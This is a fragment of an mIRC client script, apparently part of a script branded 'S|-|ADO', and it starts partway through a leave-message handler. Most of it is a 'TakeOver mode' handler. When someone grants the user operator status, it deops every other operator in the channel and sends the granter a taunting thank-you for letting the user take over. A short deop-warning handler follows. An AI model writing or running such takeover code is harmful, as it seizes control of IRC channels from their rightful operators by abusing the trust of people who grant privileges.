LeaveMess 8 ATTENTION! $nick $3- } | else { echo -s 1,8 S|-|ADO\\' 0,4 LeaveMess 9 $nick $3- } | halt
|
||
on 1:OP:#:{
|
||
if ( $opnick == $me && $opnick != $nick ) {
|
||
if ( %takeovermode > 0 ) {
|
||
echo -s 1,8 S|-|ADO\\' You were opped by $nick. Taking over $chan ...
|
||
set %opcount 1
|
||
:TOGetlist
|
||
set %opnick $opnick( $chan , %opcount )
|
||
if ( %opnick != $me ) {
|
||
echo -s 1,8 S|-|ADO\\' Deopping %opnick ...
|
||
.mode $chan -o %opnick
|
||
}
|
||
inc %opcount
|
||
if ( $opnick( $chan , %opcount ) != $null ) { goto TOGetList }
|
||
.notice $nick 1,8 S|-|ADO\\'s 0,4 TakeOver mode Thank you, $nick , for letting me take over this channel.
|
||
echo -s 1,8 S|-|ADO\\' TakeOver performed.
|
||
unset %opcount
|
||
unset %opnick
|
||
} | else if ( $opnick != $nick ) { echo -s 1,8 S|-|ADO\\' You were opped by $nick. TakeOver mode disabled. }
|
||
}
|
||
}
|
||
on 1:DEOP:#:{
|
||
if ( $opnick == $me && $opnick != $nick ) {
|
||
echo -s 1,8 S|-|ADO\\' 4WARNING! You were deopped by $nick.
|
||
; commands here - if you want
|
||
}
|
||
}
|